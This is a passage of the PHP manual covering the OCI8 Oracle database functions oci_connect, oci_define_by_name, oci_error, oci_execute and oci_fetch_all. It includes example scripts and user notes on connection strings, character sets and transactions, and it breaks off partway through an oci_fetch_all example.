(PHP 5, PECL OCI8 >= 1.1.0)

oci_connect — Connect to an Oracle database

Description

resource oci_connect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Returns a connection identifier needed for most other OCI8 operations.

See Connection Handling for general information on connection management and connection pooling.

From PHP 5.1.2 (PECL OCI8 1.1) oci_close() can be used to close the connection.

The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call. This means that transactions in one handle are also in the other handles, because they use the same underlying database connection. If two handles need to be transactionally isolated from each other, use oci_new_connect() instead.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. With Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce connection time.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Examples

Example #1 Basic oci_connect() using Easy Connect syntax

<?php

// Connects to the XE service (i.e. database) on the "localhost" machine
$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 Basic oci_connect() using a Network Connect name

<?php

// Connects to the MYDB database described in tnsnames.ora file,
// One example tnsnames.ora entry for MYDB could be:
//   MYDB =
//     (DESCRIPTION =
//       (ADDRESS = (PROTOCOL = TCP)(HOST = mymachine.oracle.com)(PORT = 1521))
//       (CONNECT_DATA =
//         (SERVER = DEDICATED)
//         (SERVICE_NAME = XE)
//       )
//     )

$conn = oci_connect('hr', 'welcome', 'MYDB');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #3 oci_connect() with an explicit character set

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #4 Using multiple calls to oci_connect()

<?php

$c1 = oci_connect("hr", "welcome", 'localhost/XE');
$c2 = oci_connect("hr", "welcome", 'localhost/XE');

// Both $c1 and $c2 show the same PHP resource id meaning they use the
// same underlying database connection
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

function create_table($conn)
{
    $stmt = oci_parse($conn, "create table hallo (test varchar2(64))");
    oci_execute($stmt);
    echo "Created table<br>\n";
}

function drop_table($conn)
{
    $stmt = oci_parse($conn, "drop table hallo");
    oci_execute($stmt);
    echo "Dropped table<br>\n";
}

function insert_data($connname, $conn)
{
    $stmt = oci_parse($conn, "insert into hallo
              values(to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname inserted row without committing<br>\n";
}

function rollback($connname, $conn)
{
    oci_rollback($conn);
    echo "$connname rollback<br>\n";
}

function select_data($connname, $conn)
{
    $stmt = oci_parse($conn, "select * from hallo");
    oci_execute($stmt, OCI_DEFAULT);
    echo "$connname ----selecting<br>\n";
    while (oci_fetch($stmt)) {
        echo "    " . oci_result($stmt, "TEST") . "<br>\n";
    }
    echo "$connname ----done<br>\n";
}

create_table($c1);

insert_data('c1', $c1);   // Insert a row using c1
sleep(2);                 // sleep to show a different timestamp for the 2nd row
insert_data('c2', $c2);   // Insert a row using c2

select_data('c1', $c1);   // Results of both inserts are returned
select_data('c2', $c2);   // Results of both inserts are returned

rollback('c1', $c1);      // Rollback using c1

select_data('c1', $c1);   // Both inserts have been rolled back
select_data('c2', $c2);

drop_table($c1);

// Closing one of the connections makes the PHP variable unusable, but
// the other could be used
oci_close($c1);
echo "c1 is $c1<br>\n";
echo "c2 is $c2<br>\n";

// Output is:
//    c1 is Resource id #5
//    c2 is Resource id #5
//    Created table
//    c1 inserted row without committing
//    c2 inserted row without committing
//    c1 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c1 ----done
//    c2 ----selecting
//        09-DEC-09 12:14:43
//        09-DEC-09 12:14:45
//    c2 ----done
//    c1 rollback
//    c1 ----selecting
//    c1 ----done
//    c2 ----selecting
//    c2 ----done
//    Dropped table
//    c1 is
//    c2 is Resource id #5

?>

Notes

Note:

An incorrectly installed or configured OCI8 extension will often manifest itself as a connection problem or error. See Installing/Configuring for troubleshooting information.

Note:

In PHP versions before 5.0.0 use ocilogon() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_pconnect() - Connect to an Oracle database using a persistent connection
  • oci_new_connect() - Connect to the Oracle server using a unique connection
  • oci_close() - Closes an Oracle connection

User Contributed Notes

peter at goldthorp dot com 07-Aug-2011 03:28
I started getting "ORA-12514: TNS:listener does not currently know of service requested in connect descriptor" errors when I upgraded my database instance from 10.2 to 11.2.  For some reason it would not resolve the oci_connect calls with the Easy Connect syntax (easy connect calls from sqlplus were fine).  I was able to workaround the issue by passing a tns connect string:

<?php
$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = oci_connect("name","password",$db);
?>
jtacon at php dot net 07-Feb-2011 05:24
If you upgrades the OCI8, be sure to use the latest oracle instantclient version, otherwise you can receive an "ORA-24315: illegal attribute type" when trying to connect due to incompatibility with some versions.

HTH,
Javier Tacón
dali at dali dot net dot nz 06-Dec-2010 03:04
If you have issues connecting to an Oracle database from a script that's run via cron, make sure that your ORACLE_HOME environment variable is set correctly.

Add

ORACLE_HOME=/path/to/oracle/client

to the top of your cron file
Jonathon Robinson 15-Jun-2010 11:12
Regarding the following statement in the documentation:
"The second and subsequent calls to oci_connect() with the same parameters will return the connection handle returned from the first call."

There's one caveat here.  Subsequent calls to oci_connect() will only return the same connection handle as the first call as long as a reference is held to the original handle.

For example, the following code will generate *one* connection handle:

<?php
$dbh = oci_connect($username, $password, $conn_info);
// Do stuff
$dbh = oci_connect$username, $password, $conn_info);
// Do more stuff

The follow code will generate *two* connection handles:
getData();
// Do stuff
getData();
// Do more stuff

getData() {
    $dbh = oci_connect($username, $password, $conn_info);
    // Do stuff
}
?>

This is the result of PHP garbage collecting the handle at the end of the method scope.

If you want to isolate your DB layer through function calls but still want to leverage the fact that oci_connect can return the same handle, just keep a reference to the handle like so:

<?php
getData($username, $password, $conn_info) {
    $dbh = oci_connect($username, $password, $conn_info);
    $key = hash('md5', "$username|$password|$conn_info");
    $GLOBALS[$key] = $dbh;
    // Do stuff
}
?>

I originally logged this as a bug but apparently this is the expected behaviour, likely because oci_close($dbh) just calls unset($dbh).
webmaster at moisesjafet dot com 18-Apr-2010 11:57
In order to use UTF8 charset in Oracle, just indicate the bespoke charset in the connection function.

Example:

<?php
$conn = oci_connect('hr', 'welcome', 'localhost/XE', 'AL32UTF8');
?>

Please look on the manual page of oci_connect for details.

If you also want to on the fly localize your app (date formatting, decimal separator, and so on) additionally use NLS values by alter session statements.

Never forget to indicate the app's charset to the browser for proper display.
drew dot carmichael at gmail dot com 03-Jul-2009 01:55
When using the OCI_CRED_EXT in php
if the ENV $ORACLE_SID is set the DB does not need to be specified explicitly and the connection will fail unless you provide a NULL DB value when creating the connection.

The $ORACLE_SID trumps the TNS name look up for the connection. So even a manual connection string in the DB parameter will fail.

So when the $ORACLE_SID Env is set a NULL passed instead of the DB name connects successfully.

Hope this saves some hair pulling when moving to %.3 and OS Authentications
Leandro da Cunha Campos 11-May-2009 11:04
ONE ALTERNATIVE OF CONNECT IN ORACLE RAC "Real Application Clusters"

<?php
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip1)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco1)))";

$dbstr1 ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip2)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco2)))";

if(!@($conn = oci_connect('user','password',$dbstr1)))
{ $conn = oci_connect('user','password',$dbstr) or die (ocierror()); }
?>
sixd at php dot net 21-Jul-2008 01:16
From PHP 5.3 onwards:

A new OCI_CRED_EXT flag can be passed as the "session_mode" parameter
to oci_connect(), oci_new_connect() and oci_pconnect().

  $c1 = oci_connect("/", "", $db, null, OCI_CRED_EXT);

This tells Oracle to do external or OS authentication, if configured
in the database.

OCI_CRED_EXT can only be used with username of "/" and a empty
password.  Oci8.privileged_connection may be On or Off.

OCI_CRED_EXT is not supported on Windows for security reasons.

The new flag may be combined with the existing OCI_SYSOPER or
OCI_SYSDBA modes (note: oci8.privileged_connection needs to be On for
OCI_SYSDBA and OCI_SYSOPER), e.g.:

  $c1 = oci_connect("/", "", $db, null, OCI_CRED_EXT+OCI_SYSOPER);
sixd at php dot net 30-Jun-2008 04:33
If you want to specify a connection timeout in case there is network problem, you can edit the client side (e.g. PHP side) sqlnet.ora file and set SQLNET.OUTBOUND_CONNECT_TIMEOUT. This sets the upper time limit for establishing a connection right through to the DB, including the time for attempts to connect to other services.   It is available from Oracle 10.2.0.3 onwards.

In Oracle 11.1, a slightly lighter-weight solution TCP.CONNECT_TIMEOUT was introduced.  It also is a sqlnet.ora parameter.  It bounds just the TCP connection establishment time, which is mostly where connection problem are seen.

The client sqlnet.ora file should be put in the same directory as the tnsnames.ora file.
sebastien.barbieri _at_ gmail dot com 13-Sep-2006 09:42
When you are using Oracle 9.2+ I would say that you MUST use the CHARSET parameter.

Of course, you will not notice it until there is accented character... so just specify it and you will avoid a big headache.

So for example here is our Oracle internal conf:
select * from nls_database_parameters;

PARAMETER                      VALUE
------------------------------ ----------------------------------------
…
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_ISO_CURRENCY               AMERICA
NLS_CHARACTERSET               WE8ISO8859P15
…

And there our oci_connect call:

$dbch=ocilogon($user,$pass,$connectString,"WE8ISO8859P15");

Without that, you will get question mark (inversed), squares… instead of most accented character.

Don’t forget to use that for writing as well as for reading.
ben at onshop dot co dot uk 14-Jul-2005 05:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
M0no at ethonfusino dot com 21-Nov-2002 10:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.
oci_commit
oci_define_by_name
OCI8 Functions


Associates a PHP variable with a column for query fetches

oci_connect
oci_error
OCI8 Functions
PHP Manual

oci_define_by_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_define_by_name — Associates a PHP variable with a column for query fetches

Description

bool oci_define_by_name ( resource $statement , string $column_name , mixed &$variable [, int $type = SQLT_CHR ] )

Associates a PHP variable with a column for query fetches using oci_fetch().

The oci_define_by_name() call must occur before executing oci_execute().

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

column_name

The column name used in the query.

Use uppercase for Oracle's default, non-case sensitive column names. Use the exact column name case for case-sensitive column names.

variable

The PHP variable that will contain the returned column value.

type

The data type to be returned. Generally not needed. Note that Oracle-style data conversions are not performed. For example, SQLT_INT will be ignored and the returned data type will still be SQLT_CHR.

You can optionally use oci_new_descriptor() to allocate LOB/ROWID/BFILE descriptors.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_define_by_name() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
    echo "Location id $locid is $city<br>\n";
}

// Displays:
//   Location id 1000 is Roma
//   Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_define_by_name() with case sensitive column names

<?php

/*
  Before running, create the table with a case sensitive column name:
    CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
    INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Use uppercase for non case-sensitive column names
oci_define_by_name($stid, 'ID', $id);

// Use the exact case for case-sensitive column names
oci_define_by_name($stid, 'MyDescription', $mydesc);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo "id $id is $mydesc<br>\n";
}

// Displays:
//   id 1 is Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_define_by_name() with LOB columns

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);
oci_define_by_name($stid, 'FRUIT', $fruit);  // $fruit will become a LOB descriptor

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_define_by_name() with an explicit type

<?php

/*
  Before running, create the table:
    CREATE TABLE mytab (id NUMBER, fruit CLOB);
    INSERT INTO mytab (id, fruit) values (1, 'apple');
    INSERT INTO mytab (id, fruit) values (2, 'orange');
    COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);

$fruit = oci_new_descriptor($conn, OCI_D_LOB);
oci_define_by_name($stid, 'FRUIT', $fruit, OCI_D_CLOB);

oci_execute($stid);

while (oci_fetch($stid)) {
    echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
//   1 is apple
//   2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 use ocidefinebyname() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_fetch() - Fetches the next row from a query into internal buffers
  • oci_new_descriptor() - Initializes a new empty LOB or FILE descriptor

User Contributed Notes

There are no user contributed notes for this page.
oci_connect
oci_error
OCI8 Functions


Returns the last error found

oci_define_by_name
oci_execute
OCI8 Functions
PHP Manual

oci_error

(PHP 5, PECL OCI8 >= 1.1.0)

oci_error — Returns the last error found

Description

array oci_error ([ resource $resource ] )

Returns the last error found.

The function should be called immediately after an error occurs. Errors are cleared by a successful statement.

Parameters

resource

For most errors, resource is the
resource handle that was passed to the failing function call.
For connection errors with oci_connect(),
oci_new_connect() or
oci_pconnect() do not pass resource.

Return Values

If no error is found, oci_error() returns FALSE. Otherwise, oci_error() returns the error information as an associative array.

oci_error() Array Description
Array key | Type | Description
code | integer | The Oracle error number.
message | string | The Oracle error text.
offset | integer | The byte position of an error in the SQL statement. If there was no statement, this is 0
sqltext | string | The SQL statement text. If there was no statement, this is an empty string.

Changelog

Version | Description
4.3.0 | The offset and sqltext entries were added.

Examples

Example #1 Displaying the Oracle error message after a connection error

<?php
$conn = oci_connect("hr", "welcome", "localhost/XE");
if (!$conn) {
    $e = oci_error();   // For oci_connect errors do not pass a handle
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #2 Displaying the Oracle error message after a parsing error

<?php
$stid = oci_parse($conn, "select ' from dual");  // note mismatched quote
if (!$stid) {
    $e = oci_error($conn);  // For oci_parse errors pass the connection handle
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #3 Displaying the Oracle error message, the problematic statement, and the position of the problem of an execution error

<?php
$stid = oci_parse($conn, "select does_not_exist from dual");
$r = oci_execute($stid);
if (!$r) {
    $e = oci_error($stid);  // For oci_execute errors pass the statement handle
    print htmlentities($e['message']);
    print "\n<pre>\n";
    print htmlentities($e['sqltext']);
    printf("\n%".($e['offset']+1)."s", "^");
    print  "\n</pre>\n";
}
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocierror() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_define_by_name
oci_execute
OCI8 Functions


Executes a statement

oci_error
oci_fetch_all
OCI8 Functions
PHP Manual

oci_execute

(PHP 5, PECL OCI8 >= 1.1.0)

oci_execute — Executes a statement

Description

bool oci_execute ( resource $statement [, int $mode = OCI_COMMIT_ON_SUCCESS ] )

Executes a statement previously returned from oci_parse().

After execution, statements like INSERT will have data committed to the database by default. For statements like SELECT, execution performs the logic of the query. Query results can subsequently be fetched in PHP with functions like oci_fetch_array().

Each parsed statement may be executed multiple times, saving the cost of re-parsing. This is commonly used for INSERT statements when data is bound with oci_bind_by_name().

Parameters

statement

A valid OCI statement identifier.

mode

An optional second parameter can be one of the following constants:

Execution Modes
Constant | Description
OCI_COMMIT_ON_SUCCESS | Automatically commit all outstanding changes for this connection when the statement has succeeded. This is the default.
OCI_DEFAULT | Obsolete as of PHP 5.3.2 (PECL OCI8 1.4) but still available for backward compatibility. Use the equivalent OCI_NO_AUTO_COMMIT in new code.
OCI_DESCRIBE_ONLY | Make query meta data available to functions like oci_field_name() but do not create a result set. Any subsequent fetch call such as oci_fetch_array() will fail.
OCI_NO_AUTO_COMMIT | Do not automatically commit changes. Prior to PHP 5.3.2 (PECL OCI8 1.4) use OCI_DEFAULT which is an alias for OCI_NO_AUTO_COMMIT.

Using OCI_NO_AUTO_COMMIT mode starts a transaction. Transactions are automatically rolled back when the connection is closed, or when the script ends. Explicitly call oci_commit() to commit a transaction, or oci_rollback() to abort it.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

If OCI_NO_AUTO_COMMIT mode is used for any statement including queries, and oci_commit() or oci_rollback() is not subsequently called, then OCI8 will perform a rollback at the end of the script even if no data was changed. To avoid an unnecessary rollback, many scripts do not use OCI_NO_AUTO_COMMIT mode for queries or PL/SQL. Be careful to ensure the appropriate transactional consistency for the application when using oci_execute() with different modes in the same script.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_execute() for queries

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_execute() without specifying a mode example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');

oci_execute($stid); // The row is committed and immediately visible to other users

?>

Example #3 oci_execute() with OCI_NO_AUTO_COMMIT example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $i, 10);
for ($i = 1; $i <= 5; ++$i) {
    oci_execute($stid, OCI_NO_AUTO_COMMIT);  // use OCI_DEFAULT for PHP <= 5.3.1
}
oci_commit($conn);  // commits all new values: 1, 2, 3, 4, 5

?>

Example #4 oci_execute() with different commit modes example

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');
oci_execute($stid, OCI_NO_AUTO_COMMIT);  // data not committed

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (456)');
oci_execute($stid);  // commits both 123 and 456 values

?>

Example #5 oci_execute() with OCI_DESCRIBE_ONLY example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM locations');
oci_execute($s, OCI_DESCRIBE_ONLY);
for ($i = 1; $i <= oci_num_fields($stid); ++$i) {
    echo oci_field_name($stid, $i) . "<br>\n";
}

?>

Notes

Note:

Transactions are automatically rolled back when connections are closed, or when the script ends, whichever is soonest. Explicitly call oci_commit() to commit a transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

Note:

Because the oci_execute() function generally sends the statement to the database, oci_execute() can identify some statement syntax errors that the lightweight, local oci_parse() function does not.

Note:

In PHP versions before 5.0.0 use ociexecute() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_parse() - Prepares an Oracle statement for execution

User Contributed Notes

filipesampaio at hotmail dot com 05-Apr-2011 05:21
Just to write it down. I was trying to do a simple SELECT on a Caché (http://www.intersystems.com/cache/) table through an Oracle dblink, but always received the error "ORA-01002: fetch out of sequence". The solution was using OCI_NO_AUTO_COMMIT on the oci_execute function.
tower98 at gmail dot com 25-Aug-2010 01:35
Notice (PHP 5.2.12-pl0-gentoo):
You can parse empty query, you can execute empty query (returns true), but you cannot fetch data from empty query. So, if you provide query as variable, make sure it isn't empty.

<?php
$q = oci_parse($c, "");
if($q != false){
    // parsing empty query != false
    if(oci_execute($q){
        // executing empty query != false
        if(oci_fetch_all($q, $data, 0, -1, OCI_FETCHSTATEMENT_BY_ROW) == false){
            // but fetching executed empty query results in error (ORA-24338: statement handle not executed)
            $e = oci_error($q);
            echo $e['message'];
        }
    }
    else{
        $e = oci_error($q);
        echo $e['message'];
    }
}
else{
    $e = oci_error($link);
    echo $e['message'];
}
?>
oci_error
oci_fetch_all
OCI8 Functions


Fetches multiple rows from a query into a two-dimensional array

oci_execute
oci_fetch_array
OCI8 Functions
PHP Manual

oci_fetch_all

(PHP 5, PECL OCI8 >= 1.1.0)

oci_fetch_all — Fetches multiple rows from a query into a two-dimensional array

Description

int oci_fetch_all ( resource $statement , array &$output [, int $skip = 0 [, int $maxrows = -1 [, int $flags = OCI_FETCHSTATEMENT_BY_COLUMN + OCI_ASSOC ]]] )

Fetches multiple rows from a query into a two-dimensional array. By default, all rows are returned.

This function can be called only once for each query executed with oci_execute().

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(), or a REF CURSOR statement identifier.

output

The variable to contain the returned rows.

LOB columns are returned as strings, where Oracle supports conversion.

See oci_fetch_array() for more information on how data and types are fetched.

skip

The number of initial rows to discard when fetching the result. The default value is 0, so the first row onwards is returned.

maxrows

The number of rows to return. The default is -1 meaning return all the rows from skip + 1 onwards.

flags

Parameter flags indicates the array structure and whether associative arrays should be used.

oci_fetch_all() Array Structure Modes
Constant | Description
OCI_FETCHSTATEMENT_BY_ROW | The outer array will contain one sub-array per query row.
OCI_FETCHSTATEMENT_BY_COLUMN | The outer array will contain one sub-array per query column. This is the default.

Arrays can be indexed by column heading or numerically.

oci_fetch_all() Array Index Modes
Constant | Description
OCI_NUM | Numeric indexes are used for each column's array.
OCI_ASSOC | Associative indexes are used for each column's array. This is the default.

Use the addition operator "+" to choose a combination of array structure and index modes.

Oracle's default, non-case sensitive column names will have uppercase array keys. Case-sensitive column names will have array keys using the exact column case. Use var_dump() on output to verify the appropriate case to use for each query.

Queries that have more than one column with the same name should use column aliases. Otherwise only one of the columns will appear in an associative array.

Return Values

Returns the number of rows in output, which may be 0 or more, or FALSE on failure.

Examples

Example #1 oci_fetch_all() example

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// var_dump output is:
//    2 rows fetched
//    array(2) {
//      ["POSTAL_CODE"]=>
//      array(2) {
//        [0]=>
//        string(6) "00989x"
//        [1]=>
//        string(6) "10934x"
//      }
//      ["CITY"]=>
//      array(2) {
//        [0]=>
//        string(4) "Roma"
//        [1]=>
//        string(6) "Venice"
//      }
//    }

// Pretty-print the results
echo "<table border='1'>\n";
foreach ($res as $col) {
    echo "<tr>\n";
    foreach ($col as $item) {
        echo "    <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_all() example with OCI_FETCHSTATEMENT_BY_ROW

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
//    2 rows fetched
//    array(2) {
//      [0]=>
//      array(2) {
//        ["POSTAL_CODE"]=>
//        string(6) "00989x"
//        ["CITY"]=>
//        string(4) "Roma"
//      }
//      [1]=>
//      array(2) {
